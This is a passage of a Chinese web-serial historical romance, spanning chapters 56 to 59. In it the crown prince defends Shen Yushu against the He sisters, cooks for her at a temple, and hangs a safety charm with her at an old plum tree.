这声音带着冷质的嘲意,和今日在止马碑前,对何之纯毫不留情下面子的人如出一辙。 何之纯脸上表情陡然一僵。 她无论如何没想到,太子殿下会在这时出现在这里。 这么深的夜里,太子殿下向来规矩守礼,怎么会来女眷的寝居。 她下意识看了一眼沈玉姝,见到她也如似凝滞的神色。 是与她一样的意外。 何之纯心里那点荒谬的疑虑被打消了。 也是,怎么可能。何之纯心想。 事实如此,沈玉姝的确意外。 她猜想陈肆会将这事告知尚珏,却没猜到太子会为了这点细枝末节的事亲临。 房门打开,被里面烛火照亮映出外面人那张漱雪般的脸。 最先反应过来,说话的是何书仪。 她先前沉默了许久,现下却是第一站起辩白的:“见过殿下,适才只是家妹说笑玩闹,万当不得真。” 尚珏藏着山岚似的眼极轻的瞥了她一眼,凝了半分,随即转开:“说笑?” “孤倒是不知,京中何时兴起开这样的玩笑了。” 直到这时,他话语间的冷硬,才向何家姐妹传达出一个,“他没有打算善了”的意思。 何之纯脸白了三分。 她不敢再坐着,仓皇站起辩:“臣女只是一时听闻宫外传言……” “谁传的言?” “……” 何之纯苍白道:“……不过平头百姓,上不得台面,恐污了殿下的耳。” 她害怕的谄媚昭然若揭,惹得沈玉姝都不禁投去了半分视线。 不过尚珏这种人,位高权重又不留余地,恐怕难得会有人不存敬畏心。 沈玉姝收回视线,听见尚珏平淡地重复:“平头百姓。” “看来是何小姐信口胡诌了。”尚珏压着眉眼睨她,“何家倒是好教养。” 何书仪忙道:“殿下,父亲他一心为民,对家中难免疏于管教,是臣女这个长姐之过。” “你之过?”尚珏轻笑,“辱骂处笞刑。” “你要代她受过吗。” 这间狭窄的房间弥漫着凝滞的气氛。 何书仪只是担心族中牵连,哪至与何之纯有那般深切感情代她受刑。 而且,何书仪也未想到,尚珏会将此事上升至律法。 一旁的何之纯却是如遭雷击。 她知晓,她若被太子处了刑,以后再嫁就难了,没人会娶一个道德败坏的女子。 那她为嫁尚琢做的所有事就全白费了。 何之纯一咬牙,抖着身子朝沈玉姝猛地跪下。 她声音凄切喊泪,汪汪瞧着沈玉姝:“沈小姐……我不是故意的,还求您大人不记小人过,原谅了我吧。” 被点了名的沈玉姝这才抬起眼来,淡道:“处你刑的是太子殿下,你该求太子原谅。” 何之纯陡然一顿,正要转身,就听尚珏道:“孤不过是为沈小姐申辩,你该求的是她的原谅。” 沈玉姝:“……” 她觉察几对视线都落在她身上,骑虎难下的桎梏让她说不得一句“好”抑或者“不好”出来。 她便将视线投向尚珏。 或许她只是下意识的随便一瞥,但落在尚珏眼底,就是几分怨怼的撒娇。 尚珏喉间轻轻一滑,语气平淡:“新房间收拾好了,沈小姐现在过去吗。” …… 沈玉姝和尚珏并肩走在廊下。 她走在内侧,尚珏走在外侧,肩上不免接住一层被风卷着落进来的雪。 陈肆将二人带到新房间门口后便自觉离开了。 沈玉姝等了半晌,也没等到尚珏告别。 她轻轻提了一口气,背上的蝴蝶骨抵在门上,手背在后面握着,有些躲着尚珏低垂着、目不转睛的视线:“殿下怎么还不走。” 沈玉姝开了个干瘪的话头,她不太想和尚珏说话。 她的声音有点无心把控的无趣,但停在尚珏耳朵里又是另一番味道。 尚珏和沈玉姝中间只隔了两掌宽的身位,但沈玉姝上身后倾倚着墙,实际脚的位置几乎抵足。 尚珏视线滑到二人极近的足尖,凝了一会,才转到沈玉姝苍白的唇上,再滑落到鼻尖。 他声音微哑:“担心她寻你事头。” 沈玉姝抿唇笑了下,似乎仰了点头:“殿下随便派个人来,她就不敢说话了,何至与让殿下亲临,免得沾一身腥。” 她句句尖锐,不知在跟尚珏较劲还是自己较劲。 尚珏忽的伸出手,大拇指指腹在她下唇重重碾过,把苍白的唇都滚出一层血色。 他眼皮窄薄,刻意压着看人时显凶。 此时他敛着眼皮,一瞬不眨地盯着沈玉姝,好似咬着牙:“你一定要和孤这么说话吗。” “我是为殿下考虑。” 她一口一个殿下,几乎实在和他划干净界线,一点不沾碰到他的寸界。 但其实,尚珏以前听见她喊自己“东家”“公子”“太子”任何一个笼统称呼时,都有一股不得满足的荒谬感,更遑论如今满口“殿下”。 “为孤?”尚珏平静复述沈玉姝的话,悬在她唇角的指腹停了一瞬,忽然一转紧攥住她的下巴,逼迫她抬头看着自己,“夫人就这么想和我划清界线?” 沈玉姝被攥得生疼,敏感的皮肤瞬间红了一大块。 “这不好吗,难道殿下最开始不就是为了和我划清界线,忧心污了你的光风霁月?”沈玉姝心口生疼,却又在嗅到空中飘来他沉淡气味时忍不住安定心软。 这话她从始至终都未曾与尚珏说过。 沈玉姝最近莫名的敏感,将那段狭窄短促的记忆想了又想,品出这几分答案,心里忍不住的委屈。 她本不想与别人说,觉得有几分羞耻,却在今夜,对着细致、步步紧逼的尚珏,无端忍不住了,满腹委屈倾泻一个口,被她骤地打住。 她一双漂亮稚纯的鹿眼红了一片,包着一汪泪,落下来时烫坏了尚珏手背皮肤。 他手一抖,又舍不得放开她。 力气稍一松,就被沈玉姝躲 开了。 尚珏感受空落的手心,追着贴上她冰凉的脸,用指腹轻揉的擦掉她纵道泪痕。 “你在想什么。”尚珏良久哑着开口。 “我怎么舍得和你划清界限,难道不是夫人一直对我弃若敝履吗。”尚珏另一只手在沈玉姝肩膀寸尺高的地方悬了又悬,大抵是想拥她,却被他转而压下这个念头。 “我恨不得把你揣在怀里,上朝述职都带着,让你只看着我只有着我。”尚珏注视着沈玉姝闪躲的眼睛,声音顿了一下,“——你说我忧心那点名声?” 沈玉姝哑口无言。 她无端的敏感让她在清醒时也不免几分哀泣,如今像被灌了雨的干涸土地,得了满足,生出后觉的尴尬。 她知道她钻了牛角尖,觉得尚珏隐了身份接近她,是因为担心弟妹一层关系,怕被说了闲话。 尚珏的话将她的牛角尖尽数打破,让她心安的同时生出几分难堪,耳朵红了一片。 尚珏却丝毫没有在意“为什么会有这种想法”的问题。 沈玉姝只听他好像松了一口气的模样。 忽的,她的耳尖被冰凉的手背贴住、降温。 沈玉姝怔着抬头看向尚珏。 “夫人,你没有你想的抗拒我。”尚珏敛着眼,陈述着他看见的事实。 沈玉姝生出几分怒气,背在后面的手一推,推开了房门,退后半步躲开了尚珏的桎梏。 “太子殿下僭越了吧。”沈玉姝咬着唇肉,微扬着头看他,“你到底要做什么。” 她像一个耍赖的孩子,只字不提自己先前的失态,一股脑把责怪丢在尚珏身上。 尚珏轻笑一声,不责她。 “总算不和我客气了?”他好心情的扬着声调。 沈玉姝闻言怔了一下,意识到落进他织就的陷进里。 她咬了咬后牙,偏眼躲开他的视线,看向屋内的香漏。 几个房间摆件不一样,她找了一圈才找着角落的香漏,定睛看去已经辰末了。 沈玉姝转回眼,眼前全是尚珏被雪倒的光映出来的影子,推开的两扇门一左一右落在她身边,叫她无从所遁,只能被迫立在名为尚珏的空间里。 她轻轻敛了一下下巴:“殿下还有事吗,夜深了,我该睡了。” 这句的“殿下”,在尚珏耳朵里,无端没了先前冷硬的分割感。 他本要再追说什么,视线忽的凝在她脖间露出来的一小截黑绳上。 他愣了一瞬,话在喉间滚了一圈,咽了下去。 尚珏勾唇一笑,轻轻耸了肩,极有风度地退后一步,“当然。” 他这一动,便落在游廊中间,两人中流动了几寸风。 “我听说你今日一直在吐,后来又睡了一天,现下怎么样?”尚珏站在那,摇身一变成了一位妥帖的兄长。 沈玉姝怔了怔,没想到他说的还有事就是这个,于是她答:“没事了,应该只是着了凉。” “那就好。”尚珏道。 “祝夫人一夜好梦。”尚珏轻倚在廊柱侧,唇角噙着笑,又喊她“夫人”,“明日启程,我叫陈肆来喊你。” 换言之,就是让她安心地睡就好。 沈玉姝轻点了一下头,看着人不缓不慢地走远,先前走来时肩上的落雪化了干净。 她的眉头微微拢起。 无从来的,那句“夫人”,让她觉得今夜仅是个开头的样子,像喧嚣的战鼓。 第56章 第56章“为夫人做的话,自然是…… 不知是有事绊了脚还是替沈玉姝避嫌,尚珏第二日并未真遣了陈肆来唤她,而是东宫的一个大宫女。 宫女名唤雪青,一早替沈玉姝端了热水青盐来替她盥洗。 沈玉姝对这种的服侍有些不适,便下意识侧手挡开了雪青要伺候的手,自顾盥洗更衣毕。 雪青跟一旁许久,大抵是怕她误会,想了又想还是低低解释道:“太子殿下一早被陛下唤去了,不曾得空,便派了奴婢来伺候姑娘。” 沈玉姝对镜整理盘扣的动作陡然一顿。 即便她不去说,尚珏的名字也总是如影随形。 雪青还在絮絮叨叨说着:“姑娘别怪殿下,殿下念着寻姑娘,第一就是推拒,没拒成,不知是哪儿出了事,急得很。” 沈玉姝无奈地透着镜子看她一眼:“我还什么都没说。” 这就是委婉让雪青安静的意思了。 倒也并非是对雪青有意见,只是单纯的,沈玉姝被尚珏扰得头疼,像钻进了死胡同,她找不到出路。 结果偶尔有人趴在墙沿上指着东南西北说往哪走,事实上只是在无数次提醒她“走错路”了而已。 沈玉姝凑近有些模糊的铜镜,将脖间一长段黑绳细细塞到衣襟下。 雪青视线在黑绳低一闪而过的黄铜色坠子上顿了一顿,收回视线,讷讷“哦”了一声。 得了老实的回复,沈玉姝总算得了清净,收拾过东西便领着她往马车处走去。 / 止马碑处聚了不少人。 沈玉姝没停留,确认了昨日马车的位置后就要往那走,半路却被突然冒出的人挡住。 陈肆为忽然的莽撞有些不好意思,他抓抓脑袋:“殿下让属下带姑娘去另一驾马车。” “不去。”沈玉姝半张脸埋在大氅兔毛围领里,露出一双被风吹得红彤的鹿眼。 陈肆牙酸道:“何家两个小姐被骂了一顿,现在在一辆马车——小姐您昨日乘的马车上,陛下将宁王妃迁出到了宁王殿下马车里。” 言下之意就是,那驾马车里只有三个人,何书仪何之纯还有席雯。 陈肆又道:“殿下给小姐您腾的是新马车,临去城里买的,殿下不在里头,他在御前呢。” 几句话说得沈玉姝不去也得去了,顺带打消了她那层顾虑。 她轻轻松了口气:“那劳您带路了。” 陈肆支棱笑起:“好,小姐往这边走。” / 车里只有沈玉姝和雪青。 没了其他人多余的打扰,沈玉姝几乎一坐下就睡着了,昏昏沉沉醒了几回也不久,转眼便接着睡了。 等被雪青唤醒的时候,已经到了寺庙。 沈玉姝撑起支摘窗看去,不言寺门前的雪被僧人扫了干净。 “好晚了。”沈玉姝随口说。 雪青应声:“估摸着是晚膳时辰,姑娘去用膳吗?” 沈玉姝摆摆手。 她是真不觉得饿,算起来将近两天没吃了,闻到油腥味就恶心,索性干脆不吃好。 雪青结舌,却也不好多说,带着沈玉姝往安排好的住处去,收拾好行礼便先退下了。 雪青走之后,屋里便安静下来。 烧着炭的屋子倒不冷,沈玉姝在竹椅上坐了会,心口烧得慌,带着脸都闷热,索性便出了门。 不言寺里有一块竹林,还种着一片梅,先前沈玉姝来过便记着了。 她方向感不太好,来回走错了五六回路,才问了个小沙弥寻到了方向。 这个天气竹子都蔫了,但梅花都开着。 沈玉姝远远便闻到那一线梅花香,无端的在她鼻尖变了味道,成了绿萼香。 竹林里用竹子和麻绳编了一个秋千。 沈玉姝走过去,轻轻擦掉上面融雪积下的水后,扶着麻绳小心坐下去。 她坐了好一会,思绪放空,不知在想什么。 忽然,身后一阵快速的哒哒脚步声传来,像小孩的动静,拉回了沈玉姝扯远 的思绪。 她寻着动静转过头,正撞见一个粉雕玉琢的小女孩,莫约七八岁,梳着双环髻,脖上挂着璎珞锁。 沈玉姝正要问,小女孩便陡然一绊往前栽去,她手忙脚乱拽住手,往怀里一拉,才稳住两人身形。 沈玉姝吓了一跳:“你是谁家的小孩呀,你家大人呢?” 小女孩往她身后探了探头,又缩回来:“我跑太快啦,和哥哥走散啦。” “哥哥?”沈玉姝抱着小女孩坐到自己身边,“那我带你去找哥哥,还是在这里等你哥哥找来?” “在这里等哥哥好啦。”小女孩弯着水汪汪的眼睛笑,“姐姐你怎么一个人在这里呀?这是什么花呀?” 沈玉姝看一眼:“是红梅哦。” 她跳过小女孩前面的问话。 “红梅?”小女孩有些疑惑,“和家里长得不一样诶,姐姐你好厉害呀,认识好多花!” “……” 大抵是小孩子总爱夸大其词,沈玉姝有些难以招架,只能不尴不尬地笑一声,扶着小女孩恐她摔着。 “哥哥是大坏蛋。”小女孩忽的撇嘴,“他挖了好多家里的花出去,家里花都没有了。” 沈玉姝忍俊不禁。 还没说什么,空旷的地里便传来一道如玉的声线:“以云,你又在乱说什么。” 沈玉姝肩颈忽的一僵。 听见来人的声音,以云一把从秋千上跳下,不满道:“哥哥你来的好慢呀。” 尚珏走到秋千边站立,挨着沈玉姝,手上握住麻绳,避免以云没轻没重冲撞了不稳的秋千。 他瞥了以云一眼,神色淡淡:“你下次再跑快一点,孤可以来得更快。” 沈玉姝扑哧一笑。 以云被气得脸红。 “哼。”以云说。 后方紧慢赶来的宫女一把跑过来抱起以云:“我的三公主,娘娘到处找您呢,您怎么突然跑到这来了?” 闻言尚珏稍偏了视线,抬起手,手心朝内,往外小幅地挥了挥:“带以云回去。” 话到这里,以云也不敢再多闹腾,偷摸冲着尚珏背影做了个鬼脸,老老实实跟着宫女回去了。 临走时还不忘说“姐姐再见。” 沈玉姝弯了眼,缩在大氅里轻轻挥挥手。 像一只乖巧的鹿。尚珏喉结轻滚。 少了以云的声音,竹林瞬间便静了下来。 沈玉姝端坐在秋千上,两手搭在腿上,轻声:“殿下怎么还不走?” 尚珏闻言,似笑非笑地挑了一下眉。 他略抵着头,从他的视线看,正好能从上往下看见沈玉姝细腻、微挺的鼻尖,却不巧地遮住了一方莹润的唇。 “夫人这么想我走?”尚珏嗓音带笑。 沈玉姝稍一蹙眉:“你别这么喊我。” 她已嫁过人妇,叫一声夫人实属当然,但尚珏总带着含糊的旖旎。 何况,那段短日的厮混,尚珏一口一个夫人地叫。于情于理,沈玉姝总不肯听他再这么喊的。 尚珏弯着眼,未置一词。 沈玉姝无奈:“你来做什么的?” “早间食过言,总该来给夫人道歉才是。”尚珏握着麻绳,轻轻替她荡起小幅的秋千。 沈玉姝下意识抓紧绳子,紧了嗓道:“我没生气,没必要道歉。” 她脚尖点了一下地,又被荡起。 “而且,陈肆来的确不便,被人看到不好说。”沈玉姝说,“还有……今天马车的事,多谢你了……” “你笑什么?”沈玉姝听见身后极淡的一声轻笑,不满回头。 秋千旋即停下。 尚珏没什么诚意地道:“抱歉。” “……” 沈玉姝转头,不肯再和他说话。 坏胚子。 尚珏哑声低笑。 好一会他才正色道:“忽然来,的确有事。” 沈玉姝不着痕迹地侧了耳朵。 尚珏没揭穿,只看着好玩,他说:“听雪青说,你今天一整日都没吃饭——” 尚珏勾着食指,拉了一下秋千,让沈玉姝离他近了几寸,他略倾下身,稍稍凑近沈玉姝的耳畔:“昨日也没吃,今日也没吃,夫人不然赏脸与孤说一下,怎么练的身子?” 沈玉姝一时有些被动。 秋千被往后拉,位置就不免高了几分,沈玉姝需要用脚尖撑着地抓住。 她听着尚珏的话,莫名有种被抓包的赧然,她手扣着秋千沿边说:“没饿。” 尚珏挑起眉:“没饿?” 实际上沈玉姝那股恶心劲压根没过,时不时地涌上来,这才不愿多吃东西,但这话显然没有与尚珏多说的意义,沈玉姝便只轻“嗯”一声。 忽的,她的手腕被隔着布料攥住,不轻不重的力道将她一把拽起身。 “什、”沈玉姝跌撞两下,被尚珏揽着腰扶住。 他没低头,只轻垂着眼,敛下眼皮看沈玉姝:“不饿也该吃些。” “……现下御厨都休息了。”沈玉姝轻挣了他铁一般的手,“要不明天再……” “当然是孤给夫人做。”尚珏骤松开沈玉姝的手,挂着一层笑,脚上退后半步,让出一个供以沈玉姝肆意呼吸的空间。 沈玉姝揉着手腕的动作忽然一怔:“你会做?” 尚珏眉头微挑:“为夫人做的话,自然是都会。” 沈玉姝这才想起来,大年初一那顿没吃完的饺子,也是尚珏不甚熟练的,一个一个包出来煮的。 她一时有些哑然。 第57章 第57章“夫人夜安” 厨房里只点着一盏昏暗的烛灯。 沈玉姝搬了一张小凳子乖坐在门边,衣摆铺在地上,躲着里面的油烟。 尚珏抬手掀开锅盖,激起一大团白烟,紧慢回头快说了句:“马上就好。”说着抄过筷子将面夹进早准备好、放好作料的碗里,最后撒上一层葱花,稍在窗边吹凉了些拿到沈玉姝面前。 因为是寺庙不吃荤腥,只是一碗普通的素面。 但恰好的,未激起沈玉姝的恶心劲,反而勾出了饿意。 但尚珏不知情,他将面拌了几下,拿过一张凳子放到沈玉姝前搁着,眉眼轻轻舒展着,弯出一个极缓的弧度:“夫人赏个脸?” 他声音像安了钩子,平白勾得人心痒。 沈玉姝忽略他刻意捏的语气,白净的脸藏在大氅里,端过面道了声谢:“有劳殿下了。” 昏暗的厨房和轻小的风雪,不知道哪里戳中了尚珏的心思。 他并未在意沈玉姝刻意疏离的称呼,反而好心情地笑了一下,好整以暇靠在灶台上看着沈玉姝慢条斯理地吃了大半碗。 沈玉姝搁下碗。 “不吃了?”尚珏有些诧异。 沈玉姝向来是遇见肯吃的,就尽量多吃些的习惯,今日见她面条和胃口,怎的就吃了这么一点? 何况他本挂念沈玉姝两日不怎么吃东西,刻意少做了些,担心吃坏了肠胃。 沈玉姝像只吃饱后,哪哪都迟缓的兔子,好一会才慢吞吞摇摇头:“吃饱了。” “也好。”尚珏也不逼迫,随手将碗筷收了后往外看看天色,再偏眼看她,便也没再多说什么,只一路送着沈玉姝回屋。 雪天路滑,沈玉姝走得慢,身边人隔着数尺的温度却好像如影随形一般烫着沈玉姝的脖间手心。 她未想过这条路会被无限拉长,只恨不得短点、再短点才好。 行到屋前,沈玉姝才松下一口气。 尚珏走到屋外廊下便住了脚,看她走进屋内。 直到沈玉姝关上门卡住闩,才听一道含着笑的声音从薄薄的门板传进来:“夫人夜安。” 沈玉姝捂住耳朵,囫囵爬上了床。 ***** 翌日清晨,沈玉姝起身。 数丈远的桌上,摆着一方精致的食盒。 看不出木头材质,沈玉姝轻轻皱了眉,哑声唤着“雪青”。 声音传到守夜的外间。 雪青应了一声,旋即打起门帘走进来,微微福身:“姑娘可要起身?” 沈玉姝没先答了,而是问:“这食盒是你拿的?” 她是疑问的语气。 雪青摇摇头,思索一番道:“是恭王殿下送的,他说、” “好了。”沈玉姝打住她的话头。 她有些哭笑不得,若是让尚珏知道,雪青放了尚琢的东西进来,指不定得罚什么。 沈玉姝揉了揉因为梦一夜有些发紧的额角,道:“把东西收了,以后恭王府的东西不要收。” 雪青乖顺地应好,旋即拿了铜盆青盐来伺候沈玉姝盥洗。 她紧了帕子将水拧干,道:“今日要在外殿祈福,姑娘可莫迟了。” 沈玉姝困倦地嗯了声,等换过衣服便要准备出门,却又被雪青拉住。 沈玉姝半眯的眼掀开一般,奇怪地“嗯?”了声。 雪青拉着她的衣袍:“……殿下说,让奴婢看着姑娘用膳。” 第58章 第58章平安牌 沈玉姝没辙的坐到桌边,看雪青走后,硬着吃了几口粥。 不想粥里搁了点油开胃,只一口沈玉姝便摔下勺子,攀着桌子吐了昏天暗地。 直到吐不出什么东西,胃里又空又重,胸腔沉闷的难受时,她才勉强直起身。 恰巧撞上铜镜里的脸,苍白得吓人,原本有点肉感的脸,下巴瘦得尖尖的。 沈玉姝把视线从铜镜上撕开,心里无端空空的,大抵是女子对容貌总是更在意的,她总觉得不太好看。 她在凳上坐了会缓气儿,然后趁着雪青没回来,端起把桌上的粥穿过窗沿倒到屋外,这才安心下来。 她轻轻松了一口气。 幸好雪青去替她拿衣服了,不然被她瞧见了,免不得生出大堆事端。 只是…… 沈玉姝轻轻捂了一下小腹,秀气细长的眉随之皱起。 今月还不曾来月事,也不知是不是忧思过重,影响了一二。 她短暂地搁下这个忧虑,恰巧此时雪青找好大氅,捧着衣服走进来。 沈玉姝便起身迎上去,穿过大氅,温度回拢时分才舒坦一点。 雪青越过她的肩头看了眼桌上的粥,弯起圆溜的眼道:“姑娘都吃完了呢。” 沈玉姝没有说谎的习惯,一时有些臊,便囫囵应了声,看过时辰差不多了,就紧慢准备往外殿去。 / 外殿角门守着几个宫女,引路或解决偶发的纠纷。 沈玉姝礼节性地稍颔首问声好后,便准备进去,却意外被宫女揽住。 宫女生着张长脸蛋,极为陌生的面貌,她欠身道:“沈小姐请往这边走。” 沈玉姝不明所以地发出一个疑问,但宫女却没有解答的意思,“小姐来便知晓了。” 说着便带着沈玉姝往里走去。 直到越过了前殿,穿过游廊,宫女的步子依旧未停。 但…… 再往前,就是平德帝正祈福的内殿了。 沈玉姝稍顿了步子,终是问出口:“我们去哪里?” 宫女道:“殿下让您去内殿祈福。” 这个殿下,是太子殿下还是恭王殿下不得而知。 沈玉姝也得不出答案。 但她自是不愿的,先前尚珏的几次优待已是有失偏颇,所幸席雯一干人不敢嚼太子的舌根,私底下也就这么过去了,没人能多说什么。 可她今日,若真随宗室去内殿祈福,那就是瞒不住的人尽皆知。 不论是尚珏的命,还是尚琢的愿,落在她身上,都不是个好名声。 她就处在风口浪尖了。 沈玉姝稍稍蹙了眉,不肯再往前走。 她道:“我不去。” 长脸宫女停下步子,转过身躬身道:“是恭王殿下的命令,沈小姐,您别为难奴婢。” 沈玉姝稍敛着下巴,抬着一双黑亮的眼睛看她,声音平直:“我不为难你,你也别为难我。” 外人若是知道,尚琢让她随皇室宗亲一同祈福,那她成什么了? 和前夫不清不楚的褒姒? 宫女有些为难地看着她。 沈玉姝犬齿一点一点咬着下唇肉,纠结着: 说到底,她们都挺为难。 沈玉姝叹了口气:“你知道太子殿下在哪吗?” ——比起尚琢,她更愿意主动去找尚珏,轻易地解决一些麻烦事。 宫女愣了一下,说:“知道。” “你去找太子殿下身边的陈肆陈下官,就说是……我找他。”沈玉姝说。 宫女便依言去了。 不多时,陈肆便快步赶过来。 他穿着黑色短打,大步迈过来抱拳冲沈玉姝行礼:“沈小姐。” 沈玉姝有些歉疚:“实在抱歉,有劳你了。” 陈肆道:“不碍事,太子殿下很高兴。” 沈玉姝:“……” “我没问呢。” 陈肆抓抓脑袋,然后转身对现下才喘着气小跑来的宫女道:“剩下的我处理,你与恭王说是太子殿下令就好。” 宫女松一口气。 沈小姐和恭王殿下,她是一个都不想得罪的。 沈玉姝便与陈肆离开内殿,一路绕到前院。 陈肆将她送到前院东南一个隐蔽的角门后便停下了步子。 他说:“太子殿下说,这个角门外南走一个进院,有一颗百年古梅花,祈愿很灵,小姐祈福完若是无事,可以往这走走,一直闷在房间里对身子不好。” 他说着,伸手往北指了指:“这里往前一条游廊就祈福前院了,人多眼杂,小姐您注意着安全。” 沈玉姝感激地弯了弯眼:“多谢大人。” 见状,陈肆便没有再多说,行过礼后快步往内殿赶回去。 / 苏进在角门等了许久,也未见着沈玉姝的身影,心下有些着急,正要派人去寻,就见那宫女只身快步走来。 他眉头一皱:“沈小姐呢?” 宫女支吾将太子掺和的事说清后,苏进面色有些古怪。 显然,他也想不通,太子为什么会掺和尚琢和沈玉姝的事。 但不明白归不明白,事还是要做。 他打发了宫女,躬身进了内殿,走到尚琢身边,低声耳语几句。 尚琢锋锐的眉紧紧皱下,语气有些困惑:“尚珏?” “是,奴才也不清楚……是为什么。”苏进道。 尚琢的视线投向前方鹤立的尚珏,毫无停顿地拔步走上去。 尚珏稍分了半点视线,不置可否地“嗯?”了声。 丝毫没有遮掩的意思。 两人身高有一小段差距,尚琢需要稍微抬起眼看他。 他的眉皱得颇紧:“我叫沈玉姝来祈福,你为什么不让?外殿风吹,受着凉怎么办?” 他只当是尚珏是出于兄长、替着平德帝在阻止他复合。 尚珏戏谑地抬起一边眉——他其实甚少会露出这种表情。 他道:“你问过她愿不愿意吗?” 尚琢皱地愣住。 尚珏看着他微怔的表情,露出一个堪称温良的讽笑:“所以,你这其实是自私。” ***** 内殿祈福结束的时候,尚珏偏看了眼,已经午初了,现在的膳堂已经做好饭,大多数人也去了膳堂。 尚珏思索了一瞬,便支开陈肆,只身往前殿走去,果不其然是空无一人。 他本要走,但鬼使神差的,尚珏想起今日他让陈肆给沈玉姝带的话——那颗古梅花。 尚珏原本离开的步子忽然掉了头,往东南角转去。 / 古梅花估摸有400年不止,远远就闻到那股子清香的花味。 尚珏走过最后一进院,步子在角门处顿住。 古梅花树上缠着错综的红绳、木牌,又掺杂着正艳的红梅,沈玉姝穿着合欢大氅,立在树下支起的木桌边。 她身段瘦极,人又稍高,比交错的红绳还窈窕姝丽,露着耳后一小片白腻的皮肤。 沈玉姝对身后的视线浑然未觉。 她一手撑着木牌角,一手替着笔,写下一串娟秀的字迹。 等最 后一个字落完,沈玉姝直起身,从旁的勾出一根红绳,自最下面的小孔穿过,打了一个漂亮的结。 沈玉姝吐了口气,弯着眼自顾自的欣喜。 她退后一步,抬头作势准备寻一个合适的位置系上红绳,却见低矮的位置全挂满了绳,少数露出来的几个位置,也钻出一片小巧的红梅。 沈玉姝面上露出几分难色。 再高的位置她够不着,直接抛上去……万一不稳怎么办。 她无意识地缠着系带,仰着脸咬着下唇,过分的纠结。 早知道不写…… 沈玉姝心里的话说到一半,忽然一股沉淡的味道,从后往前的,尽数将她整个人拥住。 味道里混杂了一些适才染上的檀木香,不难闻,倒给了点新奇的意味。 后面人比她高了不止一个头,一抬手,便轻而易举地从她手中将木牌取出,再绕过她的肩头,寻了一处偏高的枝丫,拉着系带系上去,末尾打了一个小巧的结。 尚珏含笑的声音,自沈玉姝的肩头越过,毫无阻碍地听了真切:“夫人怎么不等我来挂木牌?” 他话音落下,周遭流动的风声都像止住。 沈玉姝不自然地动了动被他发根搔住的脑袋,到底没说出哪些尖锐决绝的拒绝。 好像从驿站那次晚上后,尚珏就一改先前试探的遵从规矩。 恰巧的,沈玉姝对此无从招架。 她无从坦然接受,却也硬不下心拒绝,只能敛着眼抿着唇,露出一张柔顺漂亮的脸。 尚珏从后越过耳际,看见她颤出影的睫羽,闷笑了声,退开了一个舒适的交往距离。 沈玉姝心下松了口气,转过身,非刻意地向后靠,将手撑在写字的木桌上。 她声音带着掩饰的平常:“殿下怎么来了?” 尚珏坦然道:“猜你没好好用膳,来寻你。” 他说着又笑了下:“早膳用过了?” 沈玉姝不可避免地想到,早上被她倒掉的一碗粥,于是点点头,“嗯。” 尚珏笑:“这样啊。” 谎言被拆穿,沈玉姝有些恼,下意识就背身去。 但两人之间的距离,并不足够支撑一次毫无接触地转身,侧身时不可避免地会撞到。 尚珏好笑地让了一步,由着沈玉姝耍着被他惹恼的小脾气。 少顷,尚珏才哑声笑着躬身,将沈玉姝手中适才拿起来,已经被蹂躏成一团的红绳抽出来,轻飘飘放在一边。 他闷声笑着,胸腔压在沈玉姝的蝴蝶骨上传来阵阵震动,“何故拿它撒脾气,我不就在这?” 拿我撒脾气就好。 沈玉姝耳朵烫得浸血。 她偏过脸,躲开尚珏的动作,“不要。” 她平直地拒绝。 耳朵的血色上了脸,苍白的脸都多了几分气血。 沈玉姝的下巴瘦得有些伶仃。 尚珏看着,“瘦了好多。” 沈玉姝下意识摸了一下下巴。 她自己都觉得现在的她有些不好看,没了之前丰腴的康健,显得羸弱。 尚珏却是笑:“没有不好看。” 他打断沈玉姝怨念的愁意,直白地说好看,又把她挡着下巴的手握下去,说:“只是得多吃一些,太瘦了对身子不好。” 不过…… 沈玉姝下意识地低头看了看饱满的胸脯。 她瘦了不少,但不晓得怎么的,胸口好像越大了。 尚珏不知道注没注意,只说:“胃口不好的毛病,我叫太医去给你瞧瞧?” 沈玉姝拒绝地极快:“不。” 她一丝犹豫都没有,甚至还有点凶。 尚珏有些无奈。 不过那日在医馆,沈玉姝胃脘痛到半昏才肯看大夫时,忌讳就医的毛病就初见端倪了。 他对此没再多说,不知是答应还是不答应,而转看向这颗古梅花,“听说它很灵验。” “那就好。”沈玉姝抵了一下虎牙,想想还是说,“今天早晨的事,多谢殿下了,算我欠殿下一个人情。” 尚珏不置可否地哼笑一声,没明着答应,那就是拒绝的意思了。 沈玉姝纠结地皱着眉,总不肯再多花些尚珏的什么。 尚珏垂眼看了下她拢起的眉心,道:“如果夫人一定要欠的话,帮我个忙可好。” 闻言,沈玉姝仰着脸瞧他,露出一截细细的脖子,等着他的下文。 “你有什么愿?”尚珏说。 “我?”沈玉姝怔了怔,“我已经许好愿了。” “谁说只能有一个愿?”尚珏说着,已经弯身去勾木牌和毛笔,边回头瞧她,“嗯?” 沈玉姝摇摇头:“这算什么帮忙,你耍赖。” “被发现了?”尚珏拉着声音笑,手上提笔动作却丝毫不慢地往下落笔,几笔勾出沈玉姝的名字。 沈玉姝原本是没看的,等发现他写完时,才耐不住好奇凑过去,却意外发现了自己的名字。 她眨了眨眼:“我的名字?” 尚珏颔首,将木牌背过来,露出背后的印花给沈玉姝看。 “是个平安牌。”他说着,从桌上拿过先前被沈玉姝扯的皱皱巴巴的红绳,对着孔眼穿过去。 尚珏勾着木牌递到沈玉姝面前,“夫人既不肯与孤说愿望,不如替孤挂个祈愿牌吧。” “礼尚往来。” 沈玉姝说不清她是个什么情绪。 像是漏风的箱口被某块柔软的蜀锦填上,塞满了,里头四处窜着无处逃逸的遗存,像比先前更紧着难受,又没再涌进新的风。 沈玉姝不可抑制的,视线落在尚珏的脸上,而非那块系着红绸的木牌。 她喧嚣了一月的情绪无从宣泄,化为实质抽着她的筋脉诉说想念。 她总觉得自己与尚珏好像并不相熟,尚珏轻而易举拿着任意身份靠近,只寻着他高兴或坦然。 如今她依旧这么觉得。 现在的尚珏,与先前的太子,抑或者东家,都不尽然相同。 沈玉姝忽然想到尚珏山岚一般的眼睛,像隔雾看花。 她知晓她的思念,更知晓她的顾虑,喧嚣的情绪便无声冷却。 沈玉姝无声地呼出一口气,视线从尚珏的脸上滑到他手上的木牌,伸手接过,抵着虎牙笑了下,道:“好啊,但人情了了,殿下可别后悔食言喔。” 第59章 第59章“我迷路啦” 平安牌挂好后,沈玉姝便说要回屋。 一上午的奔波让她有些疲惫,只想回去好好睡一觉。 她这其实是在委婉送客的意思了。 但尚珏好像在对送她“回去”这个事上,有诡异的偏执,坚持着要送她回去。 两人沉默一路。 